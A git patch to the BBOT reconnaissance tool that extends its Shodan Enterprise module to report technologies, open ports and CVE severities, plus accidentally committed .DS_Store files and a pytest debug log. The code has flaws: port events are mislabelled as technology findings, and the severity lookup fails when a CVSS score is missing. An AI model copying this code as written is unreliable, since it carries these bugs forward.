">=26.0.3,<28.0.0" }, { name = "radixtarget", specifier = ">=3.0.13,<4" }, From 143438091afa896c8cfff241b0bc3acf9c7d62a8 Mon Sep 17 00:00:00 2001 From: xxix0 <xxix0@icloud.com> Date: Fri, 27 Feb 2026 13:19:03 +0200 Subject: [PATCH 245/912] add new technology source for shodan_enterprise module --- .DS_Store | Bin 0 -> 10244 bytes .github/.DS_Store | Bin 0 -> 6148 bytes bbot/.DS_Store | Bin 0 -> 8196 bytes bbot/core/.DS_Store | Bin 0 -> 6148 bytes bbot/modules/.DS_Store | Bin 0 -> 8196 bytes bbot/modules/shodan_enterprise.py | 100 ++++++--- bbot/scanner/.DS_Store | Bin 0 -> 6148 bytes bbot/test/.DS_Store | Bin 0 -> 6148 bytes docs/.DS_Store | Bin 0 -> 6148 bytes pytest_debug.log | 344 ++++++++++++++++++++++++++++++ 10 files changed, 417 insertions(+), 27 deletions(-) create mode 100644 .DS_Store create mode 100644 .github/.DS_Store create mode 100644 bbot/.DS_Store create mode 100644 bbot/core/.DS_Store create mode 100644 bbot/modules/.DS_Store create mode 100644 bbot/scanner/.DS_Store create mode 100644 bbot/test/.DS_Store create mode 100644 docs/.DS_Store create mode 100644 pytest_debug.log diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..b7ef0e6a81869f1c0d99ba524e06b89a969a53fe GIT binary patch literal 10244 zcmeHM&ref95S}en3RUFf&DeO-7#oN&F(xJjS`3MDfOuB=gBECcwJij0y%;aXL{CN% zLOiH968{PH;Kh?i<!)m92lU$?ZD-%x2YNs~?2@-r-p;o(`|Zqooh=cG>5cLvQHF?8 zxTG9Eh0f9BxV$1QVeVXo6u=Xes74K1q86=1wEYdwfM>un;2H1?cn1Cl2Jp_7EtS^N z_nraIfM=l3fP6k=a7mdnva6+fbf8lu0Av!kRl{f00Sc2bGG}C0O9jQ8x_S@>DolwX zG#uj@sScSlva6+rlhAMy#<DOKicr>p%P4gcIW2wf8So558IZMmnzB@+3awl9d%Iqp zTr35RCIiK2HiCS<SPzQOOugSa`=hY?ZYqA>Mo|6(?Pe|FMH2p2X@xr6Lvd+t8aDf5 z+^3flUsJg^$|p8H@WM6D?TX7^Ff|SL?BbMTgNocb(bG>+4erDI*6^bl%}Zz=&PTi! z_eVXEiB7|xCT&v(d)G#P5Bs;I_ON36wto)39iq+sTtC0RGpqeP6ft1$_Yju<^j-2P zqp1ZZm+=?t`{qHsCinZ~!h_YjuljN4n3wZ>w6^81n2`P^ktIb6s54g&N+#ar>qf?1 z_NQu6ZJ=lE!V@ve$GGnwUVQ#$a;9&Cd+Qpv{CmA8?T+>QqbpQ~pCz2aRlsl-(NPQe z{1*D$=QOkfpejmk0<(>iyt<7N7ec5}$}>C5$jLfYLYQYE%o!I3_LdO|^{~Z6B7{zw zm9=dviB_DRwFlQ9K8Id^4!#GEZ>D<r$;Jm!?i#oD;Km-N#<!RXZ6OOA$V_lSVLuO` z!+DSBTmI6>E!Ujf?~mnX%{*5kbMY8DOwU?}{sK0t*3m)qEFm}B=-c773@wD#;>6hN zIk5wbQ;)CdTC2aN7~R3X9Hr}6TUy21IwENW@4Tuz)>T&TvaBAa+cZZrRG@iUq=FrP zB=d=Dk0Jurda>%Zpt6Z$(ukP=yi3-%fvM}<vMmXjPaHL--T_Tu0$K&S1bh}(5Y1ne zO&mKOdVk3LFCq^mC(?S=wym;^<40%#d`uyu??7f@u^d9kc;^WG>zil5GvFEU40r}S z1OJeLA#FP&&;JYYzyJS354~y6fM?*i84$_*VtyJ{%-MRxo-D#MxbEYUP3m>ER1kDh zMc!A(@%Tp`$6qw})ZvNwoHMekrGf*e;E?(>|JZ*F(5EA9UURzYdtN`g#;w}Y*Z<C1 T-Piv(If*|_<F)Z$t^a=k_CL~C literal 0 HcmV?d00001 diff --git a/.github/.DS_Store b/.github/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..fe02f3d3b4ce10db4cbd3b791c0c246718695cfa GIT binary patch literal 6148 zcmeHKOG*Pl5Ph9wkswHxy6Y?C29r1u1O*|+trCL<oMD0=vYl(V@eJO=l^5{@E`8P2 zCK(b9ZX`%msD3@wRoykOVJZc{^&ZC^pbel&6|A*5tPxokU6ER}$f65-^l^bR^l^gI z6>l?aBLi}GyEwvtzaejKaev3?%3WqRoxxR+Pc`}a`zHUqNYhbPjOf?=cpFX*o?pA0 zW5&OZnNF7T@;m}9%uwJCx41^e*$ns9>>m!-doAbuw157U^P2tgVv*_3p4I$bBtH{l zz!)$FwuJ%KY?0=UqK(FYF<=bL8IbRTrwS$!OU3Z%;1F5>VuR)&oJ%huF+O4vu~g&= z#c3!}LtSh!oQBixqhAuSRMc>|*nGHnvWp#x3#W5`AKc**MH`I)W1z}FT_4+0|NGzf z|J5LSG6sx+f5m`nq=U4_SBkZD<>jQ-dg>)rMEpv{c?c(=6w_Bq@g6k@?OrCtBx0#Z Q3&s8j1R88G2L6<RPvn+Y?f?J) literal 0 HcmV?d00001 diff --git a/bbot/.DS_Store b/bbot/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..e16d8606c948a31e68bf572f631b3d0419bed428 GIT binary patch literal 8196 zcmeHMJ#Q015S;~w7)-&33l|_=ffNbR_z$2XI6nZn2%U*@77p=omYoP81Uf{A=#UT< zP*Ub!&`|R)P!LGeyqR6wyY~@^1|gV@cAvHTX6N0z^;vTvBC~mzbcs4d)I?{z(85sB zc%6HxopLkRfClkIyR?HorV$NFY@JXC)B$xs9Z(0<fxp24{AP1&*8J|<RUOp<b>P2r zfS(T$I%DiGw<wPe3{nCB8<>`c&!__=CUO`%%q>bN_O#W5aiPYQ7{-QUJz_dAc9>hV z;bd$$8JF3(3dKlv#6?0U6I;|#9Z(0#4sh+>LbX1iDLoGA_rc_Tx4)aEQycW+XFW5` zdcEN!8-me{KBqsn-hH}t5<B?~_H^v4IASpk=*(zFqd?)sH{bj<U(>U5YsXI0GB(Xt zDyr6lylvhZPppK7K~B2dUd;RXHs0SI-?kn|jGwEx7UZ!Hy>&`)eF+`X1aDI2LB>nn zSIAgk__-fkecitKQT#8lR##ll3iNb7AQ`ev*=?Gm9~AV^^(SS9ujlD}XW>O*AK#UF zR-nho{a=R?e$(_2e<PX&{;WNJD|!Nkucv=!c@_%$_<HJDfu1ullEEL&HlscGRPtw^ zk4}N%>-lmtT=^61<Ljws1$rO=tpOE$w+;elw!gmg*L)3w;~U?X-wzk-XRlfh@+NX$ z&e9|KUM4uVdz`;;R$5oiLqP@0*Rs8_zwo1yxjMrqGXs4s@rAw7rVgkB)`8O&I$Zy6 z)xZB&yVL=7;2(CtG<yBsCN9v`)}>43T026&ht7?8xkU-VAmunv%5mWGABOlGfyyzl U!`vcf(DX%s*r0<t@JAi^1zE5z?EnA( literal 0 HcmV?d00001 diff --git a/bbot/core/.DS_Store b/bbot/core/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..0d14d218a17f3224b01bb044468cea9b9efc3367 GIT binary patch literal 6148 zcmeHKOHRWu5FM8S5fxIGtWdUyRWE=-m5KxO0EMQdMM|5BKMSNBfHSb-04z8FJC<+) z)C+(ROIEzG4UL-yi46iYBaNS9&)6?7vK<qVsvmV~L{%d4;Ed%Z6f=zb*>hI1Eu5_M z7!mDIM1AT~D;F&dqJSvy+Z5onTfu5=(TL8lb|>q%758e*C>e}2Wp%|^5IIP~upK9D zM0gvI_pgo1yUnknJKu;N^|LI-7?u{mGoc~v(jN63mUPM+mD8W)wtoKhWVubnOc)i# zI6UZ@dCX&<JBAPG&|y)!-Ew=g9M)DZo-Kz={veq!m>uEFUwYyB7xhjX<I8nvpAH-j zl{m^rWO>}2cpp5b#>sLij&k@cKQJG$zoh`qY&NfAP)boi6c7bI72y5BhcgBiQ-gZz zK%uVyz%rV(p<d+*(6<;^Obwz3rc5f(q$+#GP$nJizKshkrUp$qDSP=)c4lR7C`!+c z@qHamDljOeC?E>B3e1_uDxd$2;`_gwBu}D%DDbZoQ01^0*6~XAY|XtKpS3=G8_vdY nsX?8B!XC%E!bkB6TpRj)t^fmzsX?^B<VQfuAcZLKqYAtO0H2n& literal 0 HcmV?d00001 diff --git a/bbot/modules/.DS_Store b/bbot/modules/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..0e266d5f4d31523fd14065904049b214232b2301 GIT binary patch literal 8196 zcmeI1!D|yi6vn@4N=WI&V-Ftoq_<)(g5Y7TX%+Dx6j2dL(?*+M;)a+WTBz*RL;nK7 zzo8fL>dmWnu_yZvhzQ>N-pnM<B)bb<#Nr#6_a!^;&HnOb$aJ;<%=&(34OjutU>Cix z%uvu|T>4yF@K-KU4eNnjwAs6Oiq>4VUQh?r0d+tfPzTh3f58Fn+0q&%`@S31s1B$D z|D^-+`;f4Ure1TW_NRlv9s#I}ylfj^^BiDn60fP(+^H?)obL2se5vtA4CBf<o=7@1 z^_n|%<uI-s#^2fa6N<5SXI)~`VN$0W)d6*2-T^tgFY~nC!Vm}1`MuTOTie>r218q9 zULTcb4zgx*r=RUGqtUzk_2ll`k2k8aJJamjo5yFHmD$5?NO2-Cb#(ZIq0QLGK}3m5 zS7*mVHuLjQ_olmBG{+$OO;nZ>ao~z@G|<BfjL9;hw$YDRYS-@+<%B$^w@$xrIG(w= zLZ+&`h^zKVxR&Tk4|{wLGsZLQ;}C}tnYn+hI4fk!&mK>_Dwr>%tImx0%m?ACBO}$A zD~>THd-!~IJY@Ru?#sllXpWGkEGObvxaT-V{O*RN8O?BD^|R#&#zT(x-=0josk3%E zN61l@6LDZ$IF{@h8jz&VRV3@_W#kIpyeiHLnR*Xe6Q+XsLbB@2n9r^!*>Y2M(cG!s zg&FKFOx69LzGzbi&XWT*2fHHY|BdqJ|L5r=DXTi54*a15X0f@|TxXHp)eDMcmrvNY q*`-Nd?$nkrM1KhI{q!G(e4Q{=YErMcQ(j@y2LaXw4eG#Ob>J5?NeI0F literal 0 HcmV?d00001 diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index ec00aea6b6..944ff92bc0 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -9,7 +9,7 @@ class shodan_enterprise(BaseModule): meta = { "created_date": "2023-08-04", "author": "@Control-Punk-Delete", - "description": "Shodan Enterprise API integration module. Returns all services that have been found on the given host IP.", + "description": "Shodan Enterprise API integration module.", } deps_pip = ["shodan"] options = {"api_key": "", "history": False, "minify": False} @@ -34,9 +34,8 @@ async def setup(self): async def handle_event(self, event): try: api = shodan.Shodan(self.api_key) - host = api.host(ips=event.data, history=self.history, minify=self.minify) - + # self.info(f"{host}") # ASN Extraction asn = { "asn": host["asn"][2:], @@ -44,79 +43,126 @@ async def handle_event(self, event): "description": host["isp"], "country": host["country_code"], } + await self.emit_event( asn, "ASN", parent=event, - tags=[], - context=f"Shodan make a request about host {event.data} request and find ASN", + tags=host.get("tags"), + context=f"Shodan API {event.data} request and find ASN", ) if "data" in host: for data in host["data"]: # TECHNOLOGY Extraction + ## TECHNOLOGY CPE Formats if "cpe" in data: for technology in data["cpe"]: - tech = {"technology": technology, "host": data["ip_str"], "port": data["port"]} + tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} await self.emit_event( tech, "TECHNOLOGY", parent=event, - tags=[], - context=f"Shodan make a request about host {event.data} request and find TECHNOLOGY: {technology}", + tags=data.get("tags") or [], + context=f"Shodan API {event.data} request and find TECHNOLOGY: {technology}", ) if "cpe23" in data: for technology in data["cpe23"]: - tech = {"technology": technology, "host": data["ip_str"], "port": data["port"]} + tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} await self.emit_event( tech, "TECHNOLOGY", parent=event, - tags=[], - context=f"Shodan make a request about host {event.data} request and find TECHNOLOGY: {technology}", + tags=data.get("tags") or [], + context=f"Shodan API {event.data} request and find TECHNOLOGY: {technology}", ) + # TECHNOLOGY Additional Formats + + if "product" in data: + tech = { + "technology": data.get("product"), + "host": data.get("ip_str"), + "port": data.get("port"), + } + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {event.data} request and find TECHNOLOGY: {data['product']}", + ) + + if "http" in data: + if "components" in data["http"]: + for technology in data["http"]["components"]: + tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} + tags = data["http"]["components"][technology]["categories"] + tags.append("web-technology") + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=tags or [], + context=f"Shodan API {event.data} request and find TECHNOLOGY: {technology}", + ) + # OPEN_TCP_PORT, OPEN_UDP_PORT Extraction if "port" in data and "transport" in data: if data["transport"] == "tcp": await self.emit_event( - self.helpers.make_netloc(event.data, data["port"]), "OPEN_TCP_PORT", parent=event + self.helpers.make_netloc(event.data, data.get("port")), + "OPEN_TCP_PORT", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get("port")}", ) elif data["transport"] == "udp": await self.emit_event( - self.helpers.make_netloc(event.data, data["port"]), "OPEN_UDP_PORT", parent=event + self.helpers.make_netloc(event.data, data.get("port")), + "OPEN_UDP_PORT", + parent=event, + tags=data.get("tags") or [], + context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get("port")}", ) else: self.warning(f"[WARNING] unknown transport {data['transport']}") # VULNERABILITY Extraction + # NIST cvss score severity mapping + severity_map = { + "NONE": 0.0, + "LOW": 0.1, + "MEDIUM": 4.0, + "HIGH": 7.0, + "CRITICAL": 9.0, + } + if "vulns" in data: for item in data["vulns"]: cve = item vuln = { - "host": data["ip_str"], - "severity": "LOW", - "description": f'{cve}. {data["vulns"][item].get("summary")}', - "name": cve, - "cve": cve, - "kev": data["vulns"][item].get("kev") or None, - "ranking_epss": data["vulns"][item].get("ranking_epss"), - "cvss": data["vulns"][item].get("cvss"), - "cvss_v2": data["vulns"][item].get("cvss_v2"), - "epss": data["vulns"][item].get("epss"), - "verified": data["vulns"][item].get("verified"), - "references": data["vulns"][item].get("references") or None, + "host": data.get("ip_str"), + "severity": max( + ( + level + for level, threshold in severity_map.items() + if data["vulns"][item].get("cvss") >= threshold + ), + key=lambda x: severity_map[x], + ), + "description": f"{cve}", } await self.emit_event( vuln, "VULNERABILITY", parent=event, - tags=["shodan"], - context=f"Shodan make a request about host {event.data} request and find {cve}", + tags=[], + context=f"Shodan API {event.data} request and find VULNERABILITY {cve}", ) else: diff --git a/bbot/scanner/.DS_Store b/bbot/scanner/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..f8f4ad9db6de3565f1be21d7b93b8a315ef137ab GIT binary patch literal 6148 zcmeHKOHRW;47EdrQgzcM%Q*p3ZxE^!iFFPTXo|?9RU$qMcHsbAfdwbv7F?kVuD~65 z9*^3F5F|DTDqHfriO0@3Z$|M95%KhHF(DcgQ4AG~hG@PJ85iwH6f82x{v8EfP(dYK zQr_`4!(U`T)^3E=%BiM%tlf6~^5xYeE2>rP)8@Cb-*Z)^>3mtu;Sp!gk9_*{dh(t3 z;s@S!xs!$NxI^T6jXib)y=`R~ogHJ|*7$C259{^&Omq9>v(2c_r=7<OrZF)Fi~(cd z-!g!jEfS9utu+RW0b^jpfczgER4@tHDEeOq8h;=I4q*0zzT71w#sy3QHi{U5u!aIP zl*1K+H5_&q{E~o;qJ|UeQII&y%;AQ@es;Xyd3WMO(OP4`7-%zappRpz|Fi!4e>=#Y zi~(a{uNdG#nx#{GQmCz+kCR&KpyyB#@oN+}A?Wy03|}e5M^G=YJLv$EfQ=$75IYEX L8mut}ewBd_l`K@6 literal 0 HcmV?d00001 diff --git a/bbot/test/.DS_Store b/bbot/test/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..168a3901976d4f49b026fb215bc8816584619d97 GIT binary patch literal 6148 zcmeHKJxc>Y5S>j@grqQ~U~`RPAz}jdXSj5B>1<B(fdO+~FpAn;W$iBze?mG-OIus} zlvWnjzS-TFTaxn-K}2R?=k4vi*?W1gyICSq&5K^0s76F(G{#Z|X-V*VZVOScBV4TX z99=r1E)A$p;R0I*!~t>OuQ|YLw~Eyo(ul6HcIWFi93I!(-8dQ<$v4w%W)ufOXBc<D zC?BltzP0Y2_P%2GzQG<1(kdn_ra~R;FsFK_iJ<t5PH60?Ev&p|@zPo^uQq2|m(Cf* zbESD)M`z)dbyn#dI>*SN&V6_sQr%Iy^}e6YOluviPi9&(=1r^3XFGbg@3Zwb9K9Pa z51D!!X}!hA9KB%A-OXn^dUu{#uf)$Bz?scat{Rjq4u}Kdz^4PeKX_=2zQx3#-a3%< z6#!VmunzQV+yQzPeT#`fyg?{a3N)q4UNMv@$GB&CzQx3#DJNwwAIg4N*&B+|U&s8O zrjzmwN)`vi0oQ?|d93mI-^#xKyG8OO4u}K)$^lgh+CdXP$)2qXKaS5@5A6_*gL#QT lU4mqfW8LAScoj_t-g(>s`W6#|7(vJ%0d0dMao|@S_yF)EtStZl literal 0 HcmV?d00001 diff --git a/docs/.DS_Store b/docs/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..f747b08647ad6ba1c7aa8c88791c0468d503d9da GIT binary patch literal 6148 zcmeHLzfS@&6n>QpUW9=-IXE2uf$R<^o~zOD56BM#D8~^|CWo6%jH6D*$<f5Y-Oc!4 z@K3n=y|zH>0d9tvKGJ@r@3rsice$2AM521tst}ck$VXxHHc-tm_H)VDn(o;G3ZA3a zuGE@IJjg`44yS-qU=<bMch{p9)#;Mz*83~A-%MYeL{X!cG|=bY*Umfpj~{!szqQmq z=oov0*uhZBA@3=TtgLkWH1n7_Kfk6q^|&~hWz2f*d`FzmN4_pr+NKNCF%7NE<-?nK zF(!w65>M8hnagCeEY9LpmRn_k&cJ7cGNdNBb!mX7VY4f~+=AVLNR#9BW`DwQVf0M5 z-=i(Q#W6_GI<!lm<rVet{A`}$;WZm!@)N^k!tcjCrh<#3EI#6$`S?<|I`#4CqO`5& znt#5V7h`f7?G7fKGIN=%mc?1T@?++;>V`9$%`Yf)wNt<;;1rlD!23gh!We2y70Rsx zmAnD~J#<S$yTlD(pfS{#Duf3n)KH)rD)bdYsNv`jbX=%0Rj7uO(3cOPGYfq~5i&dG z4`eurP@$`x0!{&2ft>nU;`9Gt@%`T(<i0rtoC5z!0pUfpsEQ@&vo*6gK5GM%6BIU% oOBKo?sPu6x8+;V={|eIJ3%CIcHKq#D19LwFqztZd3jC=8-%}gV>i_@% literal 0 HcmV?d00001 diff --git a/pytest_debug.log b/pytest_debug.log new file mode 100644 index 0000000000..63d3e3aea3 --- /dev/null +++ b/pytest_debug.log @@ -0,0 +1,344 @@ +2026-02-11 12:05:25,628 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-02-11 12:05:25,648 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk +2026-02-11 12:05:25,652 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-02-11 12:05:25,654 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk +2026-02-11 12:05:25,657 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-02-11 12:05:25,658 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-02-11 12:05:25,659 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk +2026-02-11 12:05:25,661 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk +2026-02-11 12:05:25,662 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-02-11 12:05:25,663 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-11 12:05:25,664 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-11 12:05:25,664 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-11 12:05:25,665 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-11 12:05:25,665 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-11 12:05:25,666 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-11 12:05:25,667 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-11 12:05:25,669 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-11 12:05:25,670 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-11 12:05:25,671 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-11 12:05:25,672 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-11 12:05:25,674 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-11 12:05:25,674 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-11 12:05:25,675 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-11 12:05:25,676 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-11 12:05:25,677 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-11 12:05:25,677 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-02-11 12:05:25,677 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk +2026-02-11 12:05:25,678 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk +2026-02-11 12:05:25,680 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk +2026-02-11 12:05:25,688 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk +2026-02-11 12:05:25,690 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk +2026-02-11 12:05:25,691 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk +2026-02-11 12:05:25,694 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-02-11 12:05:25,695 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk +2026-02-11 12:05:25,697 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk +2026-02-11 12:05:25,698 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk +2026-02-11 12:05:25,700 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk +2026-02-11 12:05:25,702 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk +2026-02-11 12:05:25,704 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk +2026-02-11 12:05:25,705 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk +2026-02-11 12:05:25,706 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk +2026-02-11 12:05:25,707 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk +2026-02-11 12:05:25,708 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk +2026-02-11 12:05:25,709 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk +2026-02-11 12:05:25,716 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk +2026-02-11 12:05:25,718 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk +2026-02-11 12:05:25,719 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk +2026-02-11 12:05:25,721 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk +2026-02-11 12:05:25,725 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk +2026-02-11 12:05:25,726 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk +2026-02-11 12:05:25,728 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk +2026-02-11 12:05:25,730 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk +2026-02-11 12:05:25,731 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk +2026-02-11 12:05:25,732 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk +2026-02-11 12:05:25,734 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk +2026-02-11 12:05:25,734 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk +2026-02-11 12:05:25,738 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk +2026-02-11 12:05:25,739 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk +2026-02-11 12:05:25,741 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk +2026-02-11 12:05:25,744 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk +2026-02-11 12:05:25,745 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk +2026-02-11 12:05:25,746 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk +2026-02-11 12:05:25,747 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk +2026-02-11 12:05:25,749 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk +2026-02-11 12:05:25,750 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk +2026-02-11 12:05:25,754 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk +2026-02-11 12:05:25,755 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk +2026-02-11 12:05:25,756 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk +2026-02-11 12:05:25,760 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk +2026-02-11 12:05:25,770 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk +2026-02-11 12:05:25,771 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk +2026-02-11 12:05:25,808 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk +2026-02-11 12:05:25,809 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk +2026-02-11 12:05:25,811 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk +2026-02-11 12:05:25,814 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk +2026-02-11 12:05:25,815 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk +2026-02-11 12:05:25,816 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk +2026-02-11 12:05:25,817 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk +2026-02-11 12:05:25,819 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk +2026-02-11 12:05:25,824 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk +2026-02-11 12:05:25,826 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk +2026-02-11 12:05:25,827 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk +2026-02-11 12:05:25,828 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk +2026-02-11 12:05:25,831 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk +2026-02-11 12:05:25,834 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk +2026-02-11 12:05:25,835 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk +2026-02-11 12:05:25,836 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk +2026-02-11 12:05:25,837 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk +2026-02-11 12:05:25,838 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk +2026-02-11 12:05:25,839 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk +2026-02-11 12:05:25,840 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk +2026-02-11 12:05:25,842 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk +2026-02-11 12:05:25,844 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk +2026-02-11 12:05:25,848 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk +2026-02-11 12:05:25,850 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk +2026-02-11 12:05:25,851 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk +2026-02-11 12:05:25,857 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk +2026-02-11 12:05:25,859 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk +2026-02-11 12:05:25,861 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk +2026-02-11 12:05:25,863 [DEBUG] 